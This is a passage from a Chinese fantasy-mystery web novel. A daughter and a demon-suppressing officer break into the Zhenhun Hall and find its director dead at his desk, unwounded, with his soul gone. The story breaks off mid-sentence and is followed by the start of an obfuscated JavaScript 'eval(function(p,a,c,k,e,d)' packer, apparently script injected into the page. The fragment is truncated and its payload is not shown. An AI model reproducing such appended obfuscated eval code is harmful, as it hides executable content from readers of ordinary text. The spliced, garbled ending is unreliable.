辰时更鼓声刚刚敲响,魏丹忱便提着刚买的热乎早膳,来到镇魂堂门外,想要送给彻夜办公的父亲。
“父亲,早膳。”魏丹忱如往常般在镇魂堂门外叩门,只是今日叩了半晌也不见屋内有人应答。
“父亲?”她试探性地推了一下门。
谁知今日那门,像是从内被人锁住了,怎么推都推不开。
魏丹忱以为是父亲尚有要事处理,便也没有过多打扰。谁知到了中午,房内仍是没有半点动静。
她眼皮不自觉地抽搐起来,心底涌上一股强烈的不安。
恰在此时,镇邪执事秦破妄正欲跟魏司长汇报近来有关镇压邪祟的相关事宜。魏丹忱提起食盒上前焦急地询问道:“秦姑姑,你今日可见过我父亲?”
“倒是未曾见过,怎么?司长不在屋内吗?”秦破妄话语间带着几分毋庸置疑问道。
“我也不知,可这门……根本打不开。”魏丹忱走到门前,再次用力撞了撞,那门依旧纹丝未动。
“我来。”秦破妄抽出剑左右一砍朝门劈去,那门“哐当”一声倒进屋内。
两人快步冲入屋内,却见屋内陈设井然有序,书卷摆放整齐,丝毫没有打斗挣扎的痕迹,仿佛什么都未曾发生。
魏正宗静静地坐在书桌前,桌上还放着几张没看完的卷宗。他垂头低眸,身上没有一点外伤,就像安静地做了一场大梦。
“父亲?父亲!”魏丹忱脸色骤变,丢下手中食盒,疯了一般冲到父亲身边。
多年研习医术的直觉,让她瞬间察觉不对劲——父亲周身毫无生机,冰冷得可怕。
“司长!”秦破妄紧随其后跑到魏正宗身边,伸出手指在他眉心一探——魂魄全无。随即缓缓开口道,“不好!司长他……他的魂魄,全无踪迹!”
“不可能!不可能!我不信!”
魏丹忱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){re